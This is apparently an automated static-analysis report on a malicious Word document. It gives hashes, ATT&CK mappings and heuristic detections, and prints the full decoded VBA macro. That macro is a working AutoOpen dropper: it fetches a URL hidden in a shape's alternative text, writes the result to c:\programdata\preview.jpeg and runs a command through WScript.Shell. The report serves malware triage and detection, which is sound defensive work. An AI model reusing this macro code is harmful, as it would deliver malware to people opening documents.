Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 cf6358c9eb962bce…

MALICIOUS

Office (OOXML)

111.3 KB Created: 2020-08-11 10:24:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-09-07
MD5: 9be484a956800f5577e9cbddc82e1c93 SHA-1: 3bdd103fe8f8205b2237d3dd646686656258eabd SHA-256: cf6358c9eb962bce0debd951caa00d024d8cbc92d90c48d931f746c77b171433
330 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample is a malicious OOXML document containing a VBA macro with an AutoOpen subroutine. This macro utilizes WScript.Shell and CreateObject to download a payload from an external URL (inferred from the external relationship and the MSXML2.XMLHTTP60 object) and saves it to 'c:\programdata\preview.jpeg'. The downloaded content is then executed, likely leading to further malicious activity. The ClamAV detection 'Doc.Dropper.Aafg-9757067-0' further supports its dropper functionality.

Heuristics 8

  • ClamAV: Doc.Dropper.Aafg-9757067-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Aafg-9757067-0
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Function b0c36c4b(a6bcf4bc)
Set dc404a2e = CreateObject("wscript.shell")
Call dc404a2e.exec(a6bcf4bc)
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Dim bac59c61 As Object
Set bac59c61 = CreateObject("Scripting.FileSystemObject")
Dim cbcb0398 As Object
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "a4ca2daf"
Sub AutoOpen()
Dim a845e504 As New cc633fa3
  • External relationship high OOXML_EXTERNAL_REL
    External target in word/_rels/document.xml.rels: file:///C:\Builders\Framework\rels\builds\pack1\us.jpg
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas OOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2014/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexOOXML external relationship
    • http://schemas.openxmlformats.org/markup-compatibility/2006OOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/inkOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2017/model3dOOXML external relationship
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsOOXML external relationship
    • http://schemas.openxmlformats.org/officeDocument/2006/mathOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingOOXML external relationship
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingOOXML external relationship
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2012/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2018/wordml/cexOOXML external relationship
    • http://schemas.microsoft.com/office/word/2016/wordml/cidOOXML external relationship
    • http://schemas.microsoft.com/office/word/2018/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2015/wordml/symexOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkOOXML external relationship
    • http://schemas.microsoft.com/office/word/2006/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeOOXML external relationship

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1724 bytes
SHA-256: 778be7d0f26a8b117027ae1ac9caf607315290ca80667b5bcc4e45ed3852d39b
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "a4ca2daf"
Sub AutoOpen()
Dim a845e504 As New cc633fa3
Dim e0346967 As String
e0346967 = ActiveDocument.Shapes(1).AlternativeText
d7246e5e = a845e504.aba8fcd3(e0346967)
ea7bafb9 e23668f2(d7246e5e)
a845e504.b0c36c4b e362548e
End Sub

Attribute VB_Name = "d953793c"
Sub ea7bafb9(f6646631)
Dim bac59c61 As Object
Set bac59c61 = CreateObject("Scripting.FileSystemObject")
Dim cbcb0398 As Object
Set cbcb0398 = bac59c61.CreateTextFile(d2db472e)
cbcb0398.WriteLine f6646631
cbcb0398.Close
End Sub
Function d2db472e()
d2db472e = "c:\programdata\preview.jpeg"
End Function
Sub d0bd4417()
End Sub
Function e23668f2(f6646631)
e23668f2 = StrConv(f6646631, 64)
End Function
Function e362548e()
e362548e = ActiveDocument.Shapes(1).Title + " " + d2db472e
End Function

Attribute VB_Name = "cc633fa3"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function aba8fcd3(dee49c5a)
Dim e0b6c5bd As Object
Set e0b6c5bd = New MSXML2.XMLHTTP60
e0b6c5bd.Open "GET", dee49c5a, False
e0b6c5bd.Send
'
With e0b6c5bd
aba8fcd3 = .responsebody
End With
End Function
Function b0c36c4b(a6bcf4bc)
Set dc404a2e = CreateObject("wscript.shell")
Call dc404a2e.exec(a6bcf4bc)
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 18432 bytes
SHA-256: dde56a2a30333982664c25e84a00a763e64724974744d7bfcbc2ae29489f4ee0
Detection
ClamAV: Doc.Dropper.Aafg-9757067-0
Obfuscation or payload: unlikely

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